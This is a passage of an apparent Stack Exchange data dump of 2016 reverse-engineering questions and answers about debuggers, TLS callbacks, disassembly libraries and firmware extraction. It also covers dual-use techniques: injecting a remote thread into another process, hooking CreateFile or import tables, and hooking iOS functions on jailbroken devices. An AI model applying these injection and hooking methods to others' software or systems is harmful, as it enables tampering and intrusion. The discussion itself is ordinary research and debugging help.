(a==0x01)&#xA;                            {&#xA;                            a=dat[adr]; adr++;&#xA;                            _pixel=true; _sequence=false;&#xA;                            //if (a==0x07) { adr++; _pixel=false; }&#xA;                            continue;&#xA;                            }&#xA;                        if (a==0x03)&#xA;                            {&#xA;                            if (!_sequence)&#xA;                                {&#xA;                                if (dat[adr]==0x18) _pixel=1;&#xA;                                continue;&#xA;                                }&#xA;                            if (_sequence==0x2B) break;&#xA;                            a=dat[adr]; adr++;&#xA;                            _pixel=true; _sequence=false;&#xA;                            //if (a==0x07) { adr++; _pixel=false; }&#xA;                            continue;&#xA;                            }&#xA;                        if (_sequence) break;&#xA;                        // unused: 0A,14,1F,20,21,22,24,25,26,28,29,2A,2C+&#xA;                        // flag/color prefix&#xA;    //                  if((a==0x02)&amp;amp;&amp;amp;(adr&amp;gt;dir[y]+3)) { _stop=true; break; }    // end of ScanLine&#xA;                        if (a==0x04) { _pixel=1; continue; }    // ?? ?p18 p47 ?p47&#xA;                        if (a==0x05) { _pixel=1; continue; }    // ?? ?18 ?09&#xA;                        if (a==0x06) { _pixel=1; continue; }    // ?? ?p18 ?p47&#xA;                        if (a==0x07) { _pixel=1; continue; }    // ?? ?18 ?46 ?47&#xA;                        if (a==0x08) { _pixel=1; continue; }    // ?? ?09&#xA;                        if (a==0x09) { _pixel=0; continue; }    // ?? ?p02 !!!!!!!!!!!&#xA;                        if (a==0x0B) { _pixel=1; continue; }    // ?? ?p02&#xA;                        if (a==0x0C) { _pixel=1; continue; }    // OK p1D&#xA;                        if (a==0x0D)                            // ?? c04 p23 ?c06 p05 p12&#xA;                            {&#xA;                            _pixel=0;&#xA;                            if (dat[adr]==0x02) _pixel=1;&#xA;                            if (dat[adr]==0x05) _pixel=1;   // p47 c0D p05 | c0D c05 p09&#xA;                            if (dat[adr]==0x12) _pixel=1;&#xA;                            if (dat[adr]==0x23) _pixel=1;&#xA;                            continue;&#xA;                            }&#xA;                        if (a==0x0E) { _pixel=1; continue; }    // OK p24 p26 p16&#xA;                        if (a==0x0F) { _pixel=1; continue; }    // OK p0F&#xA;                        if (a==0x10) { _pixel=1; continue; }    // OK p04&#xA;                        if (a==0x11) { _pixel=1; continue; }    // ?? ?p02&#xA;                        if (a==0x12) { _pixel=1; continue; }    // OK p27&#xA;                        if (a==0x15) { _pixel=1; continue; }    // OK p16&#xA;                        if (a==0x16) { _pixel=1; continue; }    // OK p16&#xA;                        if (a==0x18) { _pixel=1; continue; }    // OK p00 p02&#xA;                        if (a==0x19)                            // ?? p1B&#xA;                            {&#xA;                            _pixel=1;&#xA;                            if (dat[adr]==0x01) _pixel=0;&#xA;                            continue;&#xA;                            }&#xA;                        if (a==0x1A) { _pixel=1; continue; }    // OK p05 p04&#xA;                        if (a==0x1B) { _pixel=1; continue; }    // OK p1F&#xA;                        if (a==0x1C) { _pixel=1; continue; }    // OK p10&#xA;                        if (a==0x1D) { _pixel=1; continue; }    // OK p33 p1E p14&#xA;                        if (a==0x1E) { _pixel=1; continue; }    // OK p34 p50 p13&#xA;&#xA;                        // test from dragon and mountain&#xA;                        if (a==0x49) { _pixel=1; continue; }    // ?? ?p02&#xA;                        if (a==0xE3) { _pixel=1; continue; }    // ?? p18&#xA;                        if (a==0xD7) { _pixel=1; continue; }    // ?? pBC&#xA;                        if (a==0xDA) { _pixel=1; continue; }    // ?? ?p02&#xA;&#xA;                        // sequence start&#xA;                        if (a==0x13) { seq=0; _sequence=a; } // 03&#xA;                        if (a==0x17) { seq=0; _sequence=a; } // 01&#xA;                        if (a==0x23) { seq=0; _sequence=a; } // 01 03&#xA;                        if (a==0x27) { seq=0; _sequence=a; } // 01&#xA;                        if (a==0x2B) { seq=0; _sequence=a; } // 01 !03 03&#xA;                        if (_sequence)&#xA;                            {&#xA;                            if (adr==dir[y]+3) { _sequence=false; break; }&#xA;                            continue;&#xA;                            }&#xA;                        break;&#xA;                        }&#xA;                    if (_stop) break;&#xA;                    if (x&amp;gt;xs) break;&#xA;                    if ((mode==1)&amp;amp;&amp;amp;((a==0xFE)||(a==0xFF))) { a=dat[adr]; adr++; }   // shadows?&#xA;&#xA;                    if ((x&amp;gt;=0)&amp;amp;&amp;amp;(x&amp;lt;xs)) p[x]=pal[a]; x++;&#xA;                    #ifdef _debug_draw&#xA;                    // copy decoded data to debug image&#xA;                    img.p[y].dec+=char(BYTE(a));&#xA;                    #endif&#xA;                    }&#xA;                }&#xA;            delete[] dir; dir=NULL;&#xA;            #ifdef _debug_save&#xA;            // save frames to bmp&#xA;            s=frame;&#xA;            while (s.Length()&amp;lt;3) s=&quot;0&quot;+s;&#xA;            png-&amp;gt;Assign(bmp);&#xA;            png-&amp;gt;SaveToFile(&quot;decoded_&quot;+fnam+&quot;_&quot;+s+&quot;.png&quot;);&#xA;            #endif&#xA;            }&#xA;        img.compute();&#xA;        break;&#xA;        }&#xA;    delete[] dat;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-08-26T11:49:56.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13226" PostTypeId="1" CreationDate="2016-08-07T18:57:44.997" Score="2" ViewCount="1692" Body="&lt;p&gt;while trying to debug a binary which have TLS callback functionality,i am not getting any result.i have put &quot;System entry breakpoint&quot; as in ollydbg Event option.Binary breaks as system breakpoint reached.but i am viewing the calls imported by Ntdll.dll&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am attaching a screenshot for the reference&lt;a href=&quot;https://i.stack.imgur.com/UH2xD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UH2xD.jpg&quot; alt=&quot;ollydbg picture&quot;&gt;&lt;/a&gt; &#xA;i already got the TLS section by IDA PRO,and got the address in the range 400000 but when viewing olly,i can see the address starting from 7.check the picture&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jfxxv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jfxxv.jpg&quot; alt=&quot;IDA pro TLS callback hint&quot;&gt;&lt;/a&gt;.&#xA;And below are the sample Assembly when started by olly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;77420542    8975 FC         MOV DWORD PTR [EBP-4],ESI&#xA;77420545    EB 0E           JMP SHORT ntdll.77420555&#xA;77420547    33C0            XOR EAX,EAX&#xA;77420549    40              INC EAX&#xA;7742054A    C3              RET&#xA;7742054B    8B65 E8         MOV ESP,DWORD PTR [EBP-18]&#xA;7742054E    C745 FC FEFFFFF&amp;gt;MOV DWORD PTR [EBP-4],-2&#xA;77420555    E8 DF22FBFF     CALL ntdll.773D2839&#xA;7742055A    C3              RET&#xA;7742055B    90              NOP&#xA;7742055C    90              NOP&#xA;7742055D    90              NOP&#xA;7742055E    90              NOP&#xA;7742055F    90              NOP&#xA;77420560    8BFF            MOV EDI,EDI&#xA;77420562    55              PUSH EBP&#xA;77420563    8BEC            MOV EBP,ESP&#xA;77420565    83EC 10         SUB ESP,10&#xA;77420568    803D EC02FE7F 0&amp;gt;CMP BYTE PTR [7FFE02EC],0&#xA;7742056F    74 11           JE SHORT ntdll.77420582&#xA;77420571    8B45 0C         MOV EAX,DWORD PTR [EBP+C]&#xA;77420574    8160 68 FFFEFFF&amp;gt;AND DWORD PTR [EAX+68],FDFFFEFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will be great if anyone can help&lt;/p&gt;&#xA;" OwnerUserId="15305" LastEditorUserId="2318" LastEditDate="2016-08-07T19:06:06.893" LastActivityDate="2016-09-02T12:31:13.230" Title="Unable To break TLS callback function using ollydbg" Tags="|ida|ollydbg|decompilation|malware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13227" PostTypeId="1" CreationDate="2016-08-07T20:01:57.527" Score="1" ViewCount="107" Body="&lt;p&gt;I have a program that checks a lot of local files. When the program runs I want it to use the local files as normal, but during the loading of the program I'd like it to check for details of files from another locations (I've edited the files to which has made them longer, I'd like it to do the checks on the original but the execution of the modified files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to spoof a program into thinking it's accessing the file system, but actually point it to another location?&lt;/p&gt;&#xA;" OwnerUserId="11895" LastActivityDate="2016-08-08T11:06:22.963" Title="How to simulate responses from the file system" Tags="|file-format|process|processhacker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13228" PostTypeId="2" ParentId="13227" CreationDate="2016-08-07T20:44:11.023" Score="3" Body="&lt;p&gt;I think the best approach would be to redirect the relevant function calls to a dummy functions that &quot;spoof&quot; a file system. You'd probably be interested in &lt;a href=&quot;http://www.codeproject.com/Articles/14360/Injective-Code-inside-Import-Table&quot; rel=&quot;nofollow&quot;&gt;modifying the executable's import table&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="17022" LastActivityDate="2016-08-07T20:44:11.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13229" PostTypeId="1" CreationDate="2016-08-08T00:40:56.427" Score="3" ViewCount="440" Body="&lt;p&gt;I'm  on &lt;em&gt;OS X 10.10 64 bit (x86_64)&lt;/em&gt; and created a chunk of memory called code with &lt;code&gt;vm_allocate&lt;/code&gt;.  I allocate a chunk of memory for a stack.  I load a library to memory and determine an entry point to the library.  I write the library to my code buffer using &lt;code&gt;vm_write&lt;/code&gt;, no problems there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I setup the registers and call &lt;code&gt;thread_create_running&lt;/code&gt; and run remote thread into another process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over in the other process the thread starts.  I'm using &lt;em&gt;lldb&lt;/em&gt; and have it setup so when my thread starts it &lt;em&gt;breaks on that entry point&lt;/em&gt;  I see my code.  I step through the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it crashes when it tries to do the &lt;code&gt;_pthread_set_self&lt;/code&gt;.  If I step into &lt;code&gt;pthread_set_self&lt;/code&gt;, it crashes in &#xA;&lt;code&gt;_pthread_mutex_lock&lt;/code&gt; at the following instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movq %gs:0x0, %rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note: &lt;code&gt;gs&lt;/code&gt; is &lt;code&gt;0x00000000&lt;/code&gt; prior to the instruction where the crash occurs)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's my understanding this instruction is an operation to retrieve the first segment of &lt;code&gt;gs&lt;/code&gt; from a thread segment structure and move it into the &lt;code&gt;rax&lt;/code&gt; register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is what do I need to do to prevent the crash that ensues upon execution of this instruction?&lt;/strong&gt;  Upon execution of this instruction I see &lt;code&gt;EXC_BAD_ACCESS&lt;/code&gt; in &lt;code&gt;pthread_mutex_lock&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried putting in the code to &lt;code&gt;pthread_mutex_init&lt;/code&gt;, followed by &lt;code&gt;pthread_mutex_lock&lt;/code&gt; then &lt;code&gt;pthread_set_self&lt;/code&gt;.  However when it hits the first &lt;code&gt;pthread_mutex_lock&lt;/code&gt;, i get the same issue.  It dies at the same spot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My target app to which i don't have source code, is multi-threaded.&lt;/p&gt;&#xA;" OwnerUserId="17024" LastEditorUserId="1413" LastEditDate="2016-08-08T05:51:47.227" LastActivityDate="2016-08-08T05:51:47.227" Title="When I start up a remote thread in an application, why does it always crash when it tries to access data in the thread structure?" Tags="|osx|thread|lldb|injection|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13231" PostTypeId="2" ParentId="13227" CreationDate="2016-08-08T11:06:22.963" Score="1" Body="&lt;p&gt;user578368's answer is correct, but to be more specific: (assuming that you are using Windows) you need to capture/detour the CreateFileA and CreateFileW function pair. They are the ones that programs use to request a file from windows, so you can change the filename before Windows get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the link that user578368 gave to modify the import table, or use a hooking library to do it on the fly. A table summerizing these libraries: &lt;a href=&quot;https://github.com/frida/frida/wiki/Comparison-of-function-hooking-libraries&quot; rel=&quot;nofollow&quot;&gt;Comparison of function hooking libraries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At work we use MSDetours for exactly the same purpose. &lt;/p&gt;&#xA;" OwnerUserId="16414" LastActivityDate="2016-08-08T11:06:22.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13232" PostTypeId="2" ParentId="13226" CreationDate="2016-08-08T12:23:47.190" Score="2" Body="&lt;p&gt;you need to stop on one of these functions and single step from there in latest os&lt;br&gt;&#xA;if you were on xp-sp3 you could toggle peb-&gt;NtGlobalFlag to show Loader snaps&lt;br&gt;&#xA;one of the DebugPrint Messages on the spew is entry point for Tls Callback    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(take a look at old Ntglobalflag plugin for odbg110 for refreshing about how tls works and how the pluging caught the callback   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the following call stack is from win7   set a break on one of them and you should be good to go&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Call stack of main thread&#xA;Stack     Data      Procedure&#xA;0012FA20  7761D8F1  /ntdll.LdrpCallInitRoutine&#xA;0012FA24  00402000  |  Arg1 = mytls.&amp;lt;TLS_Callback_1&amp;gt;&#xA;0012FA28  00400000  |  Arg2 = mytls.400000&#xA;0012FA2C  00000001  |  Arg3 = 1&#xA;0012FA30  00000000  \  Arg4 = 0&#xA;0012FA64  775B166B  /ntdll.LdrpCallTlsInitializers&#xA;0012FA68  00000001  |  Arg1 = 1&#xA;0012FA6C  006020F0  \  Arg2 = 6020F0&#xA;0012FB50  77606175  /ntdll.LdrpRunInitializeRoutines&#xA;0012FB54  0012FD24  \  Arg1 = 12FD24&#xA;0012FCB4  77606077  /ntdll.LdrpInitializeProcess&#xA;0012FCB8  0012FD24  |  Arg1 = 12FD24&#xA;0012FCBC  775A0000  \  Arg2 = ntdll.&amp;lt;STRUCT IMAGE_DOS_HEADER&amp;gt;&#xA;0012FD04  77603663  /ntdll.LdrpInitialize&#xA;0012FD08  0012FD24  |  Arg1 = 12FD24&#xA;0012FD0C  775A0000  \  Arg2 = ntdll.&amp;lt;STRUCT IMAGE_DOS_HEADER&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i dont remember right but look into ollydbg 2.01 log window if there is a &lt;code&gt;tls callback iirc it showed where it was in ollydbg 2.01&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it seems you are using ollydbg 1.01 from your screen shot (odbg2.01 has an option to set a breakpoint on tls callbacks &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-08-08T12:23:47.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13234" PostTypeId="2" ParentId="11730" CreationDate="2016-08-08T15:08:30.910" Score="1" Body="&lt;p&gt;The debug build by default has incremental linking enabled, which adds incremental linking thunks for all calls. When you're taking the address of the function inside the program, you're actually getting the address of the thunk, that's why the addresses are different.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-08-08T15:08:30.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13236" PostTypeId="1" AcceptedAnswerId="13241" CreationDate="2016-08-08T17:48:02.293" Score="3" ViewCount="1092" Body="&lt;p&gt;I have a DOS executable which has been compiled with Watcom C/C++ 10.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That EXE has debug symbols inside. I was wondering if there is any tool that allow to dump or extract that debug information (eg : to a text file) I'm looking to something like TDUMP for Borland C/C++ compiler.&lt;/p&gt;&#xA;" OwnerUserId="14570" LastActivityDate="2016-08-09T15:21:26.560" Title="How to extract debug information from a DOS executable compiled with Watcom C/C++?" Tags="|c|debugging-symbols|dos-exe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13237" PostTypeId="1" CreationDate="2016-08-08T21:53:08.720" Score="2" ViewCount="132" Body="&lt;p&gt;So I'm debugging a linux application with what I believe DWARF debug information on x86-64 host. Everything is working fine and as expected - the source files are loaded immediately on function breakpoint plus I can set source breakpoints and my source lines are followed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However recently I got a segfault at some-point with my application. I decided to use the trace debugger to help me better understand what exactly happened there and I recorded the part where I think the program crashes. But surprise, surprise the Trace debugger won't switch and follow my source files and no binary debug information is present for it. Any help will be appreciated - I have no intention to try decompiling or matching my own source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got ida 6.8 btw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to load the &amp;lt; replay &gt; debug symbols I get some error like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;DWARF: Cannot determine location of DWARF info for &quot;&amp;lt; replay &gt;&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14334" LastEditorUserId="14334" LastEditDate="2016-08-08T21:59:03.527" LastActivityDate="2016-08-08T21:59:03.527" Title="Trace replayer won't load binary debug information" Tags="|ida|debugging|x86|linux|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13238" PostTypeId="2" ParentId="13236" CreationDate="2016-08-08T22:21:16.580" Score="1" Body="&lt;p&gt;This web site: &lt;code&gt;http://www.exphys.jku.at/Skripten/PK_PROG/Watcom.pdf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is a PDF that (step by step) explains how to debug such files.&lt;/p&gt;&#xA;" OwnerUserId="11683" LastActivityDate="2016-08-08T22:21:16.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13239" PostTypeId="1" AcceptedAnswerId="13240" CreationDate="2016-08-03T11:58:03.213" Score="0" ViewCount="741" Body="&lt;p&gt;I want to be able to do what an ordinary disassembler does—list the assembler instructions of an arbitrary executable—but from C#. It would consist, for instance, of finding a specific instruction from its address and determining which memory address is accessed by it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Google search I tried leads me rather to the resources which explain how to decompile C# applications themselves in order to get IL bytecode. Except that I don't care about IL bytecode: what I want is to get the actual instructions of any app, including ones written in plain C or any other language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I want the same thing as in &lt;a href=&quot;https://stackoverflow.com/a/840363/240613&quot;&gt;&lt;em&gt;How can I see the assembly code for a C++ program?&lt;/em&gt;&lt;/a&gt; question, but to be able to do it programmatically instead of using a GUI tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="16975" OwnerDisplayName="MainMa" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-08-09T15:10:54.797" Title="How can I read the assembly instructions of a C program from C#?" Tags="|c#|assembly|disassemblers|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13240" PostTypeId="2" ParentId="13239" CreationDate="2016-08-09T15:10:54.797" Score="1" Body="&lt;p&gt;here is a possible way and it is open source&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/9ee1/Capstone.NET&quot; rel=&quot;nofollow&quot;&gt;capstone.NET&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;nuget list capstone*&#xA;Gee.External.Capstone 1.2.2    &#xA;:\&amp;gt;cd Desktop    &#xA;:\&amp;gt;md capnet    &#xA;:\&amp;gt;cd capnet    &#xA;:\&amp;gt;nuget install Gee.External.Capstone&#xA;Successfully installed 'Gee.External.Capstone 1.2.2' to C:\xxx\capnet    &#xA;:\&amp;gt;md testcap    &#xA;:\&amp;gt;cd testcap    &#xA;:\&amp;gt;copy ..\Gee.External.Capstone.1.2.2\content\capstone.dll .&#xA;        1 file(s) copied.    &#xA;:\&amp;gt;copy ..\Gee.External.Capstone.1.2.2\lib\net45\Gee.External.Capstone.dll .&#xA;        1 file(s) copied.    &#xA;:\&amp;gt;cat capy.cs&#xA;using System;&#xA;using Gee.External.Capstone;&#xA;public class Dissy&#xA;{&#xA;    public static void Main()&#xA;    {&#xA;        var dis = CapstoneDisassembler.CreateX86Disassembler(DisassembleMode.Bit32);&#xA;        var code = new byte[] {  0x8d, 0x4c, 0x32, 0x08, 0x01, 0xd8, 0x81 };&#xA;        var res = dis.DisassembleAll(code);&#xA;        foreach(var a in res) {&#xA;            Console.WriteLine(&quot;{0}\t{1}&quot;,a.Mnemonic , a.Operand);&#xA;        }&#xA;    }&#xA;}&#xA;:\&amp;gt;csc /r:Gee.External.Capstone.dll capy.cs&#xA;Microsoft (R) Visual C# Compiler version 1.1.0.51109&#xA;Copyright (C) Microsoft Corporation. All rights reserved.   &#xA;&#xA;:\&amp;gt;capy.exe&#xA;lea     ecx, dword ptr [edx + esi + 8]&#xA;add     eax, ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-08-09T15:10:54.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13241" PostTypeId="2" ParentId="13236" CreationDate="2016-08-09T15:21:26.560" Score="3" Body="&lt;p&gt;OpenWatcom includes the &lt;code&gt;wdump&lt;/code&gt; utility which can dump the debug info (if it's present).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-08-09T15:21:26.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13242" PostTypeId="1" CreationDate="2016-08-09T15:47:24.037" Score="1" ViewCount="226" Body="&lt;p&gt;I wish to rebuild MotiveWave, a charting tool, from its jars. This application has a feature (probably in one of the class files but I don't know which) that i want to build upon. I mean I want to inherit that class and use it in another custom class. The jars are without the source code. I have tried jd to view the source of jars and was able to view some of the code. What I want is to build and run it in debug and then access that specific feature using the UI to see which code gets triggered.&#xA;Is this possible/ Can anybody point me to the right direction as I am totally lost right now.&lt;/p&gt;&#xA;" OwnerUserId="17020" LastActivityDate="2016-08-09T15:47:24.037" Title="rebuilding a java application" Tags="|disassembly|java|byte-code|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13245" PostTypeId="2" ParentId="13222" CreationDate="2016-08-09T20:02:11.157" Score="3" Body="&lt;p&gt;You can hook this method (and most other methods) in iOS if codesigning enforcement is turned off in the kernel, e.g. on a jailbroken iOS device. The way to do this is to overwrite the first few instructions of the function with some instructions to jump to your hook. Your hook then call back to some instructions elsewhere that performs the instructions you had previously overwritten before jumping back to right after the overwritten section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, you can use CydiaSubstrate to do this provided you can find the address of this method somehow. The simplest way to determine the address targeted perhaps by determining the slide of the binary and adding 0xA303C. However, this method is not as good as finding an actual symbol for that function (perhaps using nlist) since if you want it to work on multiple versions of the target binary, the exact address of that function will change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function cannot be hooked without a codesigning enforcement kernel patch since you can't hook this particular function without changing signed code. The block_invoke functions are often referenced in the __const section of the binary or else referenced by PC-relative references in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The signature of this particular function is: &lt;code&gt;UIAlertView* ___LT9867544270_block_invoke_3(UIAlertView* (^block)(void))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the block argument is unused. You can deduce this by looking at the fact that the function immediately overwrites R0-R2 without using their values. R3 is not used because a function is called that does not use it before R3 is ever read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can deduce the return value by seeing that R0 is sometimes set to R4 right before returning from the function. R4 is the result of [UIAlertView alloc] throughout the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The signature of the blocks in general is: &lt;code&gt;[return value of the block] __[function name block was declared in]_block_invoke_[the number of the block in the function the block was declared in if it's not the first one](id block, [arguments of the block...])&lt;/code&gt;. For example, if you had this in your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void myFunction() {&#xA;    int (^myBlock)(int, int) = ^(int a, int b) {&#xA;        return a * b;&#xA;    };&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would get the following block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __myFunction_block_invoke(int (^myBlock)(int, int), int a, int b) {&#xA;    return a * b;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14488" LastActivityDate="2016-08-09T20:02:11.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13246" PostTypeId="1" CreationDate="2016-08-09T20:54:54.267" Score="4" ViewCount="776" Body="&lt;p&gt;Is anybody have materials about SSD firmware reverse engineering? I'm looking for links to suitable forums, papers, presentations etc.&lt;/p&gt;&#xA;" OwnerUserId="17051" LastActivityDate="2016-08-11T09:14:14.963" Title="SSD firmware reverse engineering materials" Tags="|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13247" PostTypeId="2" ParentId="10749" CreationDate="2016-08-09T21:37:49.490" Score="2" Body="&lt;p&gt;An effective method in these cases (although not necessarily straightforward) is to use &lt;em&gt;differential debugging&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The core principle is to run the application twice and record traces of the functions being executed, or even basic blocks if you need to get so granular. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea boils down to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first time you record a trace try to exercise as much functionality as possible, except what you are interested in (in your case, do not press that button!). &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second time you go directly for what you are interested in, press that button!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you can filter the noise out of the second trace by looking for hits that appear exclusively in the second (and not in the first)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is not a perfect method but it works pretty well to narrow the search in several scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Shameless plug:&lt;/em&gt;&#xA;Here a &lt;a href=&quot;https://brundlelab.wordpress.com/2012/06/02/a-story-of-binaries-and-snipers/&quot; rel=&quot;nofollow&quot;&gt;link to my blog&lt;/a&gt; where I discuss a similar (in nature) problem. There is even some old code to get you started.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2016-08-09T21:37:49.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13248" PostTypeId="1" CreationDate="2016-08-10T11:07:48.877" Score="2" ViewCount="1762" Body="&lt;p&gt;I tried firmware-mod-kit's extract-firmware.sh script and I receive the following output which ends with &quot;No supported filesystem found&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware belongs to the TL-WR740Nv5 router.&#xA;The filesystem of the router is Squashfs 4.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the output:&#xA;&lt;a href=&quot;http://pastebin.com/FM9uE47t&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/FM9uE47t&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I do?&lt;/p&gt;&#xA;" OwnerUserId="17054" LastEditorUserId="2147" LastEditDate="2017-04-26T15:28:58.273" LastActivityDate="2017-04-26T15:28:58.273" Title="Firmware-mod-kit says &quot;No supported filesystem&quot; along with strange and long output" Tags="|binary-analysis|firmware|binary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13253" PostTypeId="1" AcceptedAnswerId="13255" CreationDate="2016-08-10T18:10:19.563" Score="0" ViewCount="20536" Body="&lt;p&gt;How do i reverse engineer every single aspect and functionality of a website so that i get an exact fully working copy of it?. All interactions including JavaScript, cascade style sheets, PHP to make a perfect clone of it?&lt;/p&gt;&#xA;" OwnerUserId="17059" LastActivityDate="2016-08-11T18:48:46.417" Title="Reverse engineering a whole website" Tags="|websites|" AnswerCount="2" CommentCount="1" ClosedDate="2016-08-13T21:49:57.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="13255" PostTypeId="2" ParentId="13253" CreationDate="2016-08-10T20:15:49.990" Score="1" Body="&lt;p&gt;You can get pretty close, but if the site uses PHP, ASP.NET, or some other form of server-side html rendering, you'll never be able to completely reproduce a copy of it. This is because that server-side rendering code is just that, only on the server, and it is never sent down to the browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to ignore all that, you can certainly assume the html that comes back is static and work from there. The first request made to a website (once all redirects are done) is always a single response containing an html page. The browser then renders this html onto the window. It will download and run any scripts (js) when it hits a script tag. The scripts are run in-place, even if the whole html page hasn't been rendered yet. This is why web frameworks like Angular or React will recommend putting the script tags after the main content container has been rendered. The process is similar for style sheets. Each style tag will download a style sheet and compile it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The great thing is that all this is laid out in order in the network tab of your browser's developer tools. You can view each http request made to the website's server, including the latency, full request contents, and full response contents, and a bunch of other helpful information. I'm not sure how it works for Firefox or other browsers, but if you're on Chrome you can open the developer tools by hitting F12 on Windows or Alt+Shift+I on Mac. There's a bunch of other really cool stuff you can see as well. &lt;/p&gt;&#xA;" 